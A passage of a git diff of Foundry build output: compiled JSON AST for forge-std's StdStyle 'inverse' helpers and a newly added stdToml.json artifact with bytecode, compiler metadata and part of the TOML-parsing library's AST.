ternal"}],"src":"9755:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10536,"nodeType":"FunctionDefinition","src":"9827:118:9","nodes":[],"body":{"id":10535,"nodeType":"Block","src":"9895:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10531,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10523,"src":"9932:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10529,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9920:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10530,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9923:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"9920:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10532,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9920:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10528,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"9912:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9912:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10527,"id":10534,"nodeType":"Return","src":"9905:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverse","nameLocation":"9836:7:9","parameters":{"id":10524,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10523,"mutability":"mutable","name":"self","nameLocation":"9851:4:9","nodeType":"VariableDeclaration","scope":10536,"src":"9844:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10522,"name":"int256","nodeType":"ElementaryTypeName","src":"9844:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"9843:13:9"},"returnParameters":{"id":10527,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10526,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10536,"src":"9880:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10525,"name":"string","nodeType":"ElementaryTypeName","src":"9880:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9879:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10551,"nodeType":"FunctionDefinition","src":"9951:119:9","nodes":[],"body":{"id":10550,"nodeType":"Block","src":"10020:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10546,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10538,"src":"10057:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10544,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"10045:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10048:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"10045:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10045:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10543,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"10037:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10037:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10542,"id":10549,"nodeType":"Return","src":"10030:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverse","nameLocation":"9960:7:9","parameters":{"id":10539,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10538,"mutability":"mutable","name":"self","nameLocation":"9976:4:9","nodeType":"VariableDeclaration","scope":10551,"src":"9968:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10537,"name":"address","nodeType":"ElementaryTypeName","src":"9968:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9967:14:9"},"returnParameters":{"id":10542,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10541,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10551,"src":"10005:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10540,"name":"string","nodeType":"ElementaryTypeName","src":"10005:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10004:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10566,"nodeType":"FunctionDefinition","src":"10076:116:9","nodes":[],"body":{"id":10565,"nodeType":"Block","src":"10142:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10561,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10553,"src":"10179:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10559,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"10167:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10560,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10170:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"10167:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":10562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10167:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10558,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"10159:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10563,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10159:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10557,"id":10564,"nodeType":"Return","src":"10152:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverse","nameLocation":"10085:7:9","parameters":{"id":10554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10553,"mutability":"mutable","name":"self","nameLocation":"10098:4:9","nodeType":"VariableDeclaration","scope":10566,"src":"10093:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10552,"name":"bool","nodeType":"ElementaryTypeName","src":"10093:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10092:11:9"},"returnParameters":{"id":10557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10556,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10566,"src":"10127:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10555,"name":"string","nodeType":"ElementaryTypeName","src":"10127:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10126:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10581,"nodeType":"FunctionDefinition","src":"10198:129:9","nodes":[],"body":{"id":10580,"nodeType":"Block","src":"10277:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10576,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10568,"src":"10314:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10574,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"10302:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10575,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10305:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"10302:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10302:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10573,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"10294:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10578,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10294:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10572,"id":10579,"nodeType":"Return","src":"10287:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverseBytes","nameLocation":"10207:12:9","parameters":{"id":10569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10568,"mutability":"mutable","name":"self","nameLocation":"10233:4:9","nodeType":"VariableDeclaration","scope":10581,"src":"10220:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10567,"name":"bytes","nodeType":"ElementaryTypeName","src":"10220:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"10219:19:9"},"returnParameters":{"id":10572,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10571,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10581,"src":"10262:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10570,"name":"string","nodeType":"ElementaryTypeName","src":"10262:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10261:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10596,"nodeType":"FunctionDefinition","src":"10333:126:9","nodes":[],"body":{"id":10595,"nodeType":"Block","src":"10409:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10591,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10583,"src":"10446:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10589,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"10434:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10437:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"10434:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10434:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10588,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"10426:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10426:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10587,"id":10594,"nodeType":"Return","src":"10419:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverseBytes32","nameLocation":"10342:14:9","parameters":{"id":10584,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10583,"mutability":"mutable","name":"self","nameLocation":"10365:4:9","nodeType":"VariableDeclaration","scope":10596,"src":"10357:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10582,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10357:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"10356:14:9"},"returnParameters":{"id":10587,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10586,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10596,"src":"10394:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10585,"name":"string","nodeType":"ElementaryTypeName","src":"10394:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10393:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"StdStyle","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[10597],"name":"StdStyle","nameLocation":"108:8:9","scope":10598,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":9} \ No newline at end of file diff --git a/contracts/out/StdToml.sol/stdToml.json b/contracts/out/StdToml.sol/stdToml.json new file mode 100644 index 000000000..dd6ae5a1d --- /dev/null +++ b/contracts/out/StdToml.sol/stdToml.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122010c56755fe29b98882a99bc9db3b89010eae5cdcc971cd5e53c60779f816a5f264736f6c63430008180033","sourceMap":"610:5612:10:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;610:5612:10;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122010c56755fe29b98882a99bc9db3b89010eae5cdcc971cd5e53c60779f816a5f264736f6c63430008180033","sourceMap":"610:5612:10:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdToml.sol\":\"stdToml\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdToml.sol":"stdToml"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdToml.sol","id":11190,"exportedSymbols":{"VmSafe":[15098],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:6191:10","nodes":[{"id":10599,"nodeType":"PragmaDirective","src":"32:31:10","nodes":[],"literals":["solidity",">=","0.6",".0","<","0.9",".0"]},{"id":10600,"nodeType":"PragmaDirective","src":"65:33:10","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":10602,"nodeType":"ImportDirective","src":"100:32:10","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":11190,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":10601,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"108:6:10","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11189,"nodeType":"ContractDefinition","src":"610:5612:10","nodes":[{"id":10619,"nodeType":"VariableDeclaration","src":"632:92:10","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"656:2:10","scope":11189,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":10604,"nodeType":"UserDefinedTypeName","pathNode":{"id":10603,"name":"VmSafe","nameLocations":["632:6:10"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"632:6:10"},"referencedDeclaration":15098,"src":"632:6:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":10613,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"702:17:10","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":10612,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"692:9:10","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":10614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"692:28:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":10611,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"684:7:10","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":10610,"name":"uint256","nodeType":"ElementaryTypeName","src":"684:7:10","typeDescriptions":{}}},"id":10615,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"684:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":10609,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"676:7:10","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":10608,"name":"uint160","nodeType":"ElementaryTypeName","src":"676:7:10","typeDescriptions":{}}},"id":10616,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"676:46:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":10607,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"668:7:10","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":10606,"name":"address","nodeType":"ElementaryTypeName","src":"668:7:10","typeDescriptions":{}}},"id":10617,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"668:55:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":10605,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"661:6:10","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":10618,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"661:63:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"private"},{"id":10635,"nodeType":"FunctionDefinition","src":"731:141:10","nodes":[],"body":{"id":10634,"nodeType":"Block","src":"825:47:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10630,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10621,"src":"855:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10631,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10623,"src":"861:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10628,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"842:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10629,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"845:9:10","memberName":"parseToml","nodeType":"MemberAccess","referencedDeclaration":14890,"src":"842:12:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":10632,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"842:23:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":10627,"id":10633,"nodeType":"Return","src":"835:30:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parseRaw","nameLocation":"740:8:10","parameters":{"id":10624,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10621,"mutability":"mutable","name":"toml","nameLocation":"763:4:10","nodeType":"VariableDeclaration","scope":10635,"src":"749:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10620,"name":"string","nodeType":"ElementaryTypeName","src":"749:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10623,"mutability":"mutable","name":"key","nameLocation":"783:3:10","nodeType":"VariableDeclaration","scope":10635,"src":"769:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10622,"name":"string","nodeType":"ElementaryTypeName","src":"769:6:10","typeDescriptions":{"ty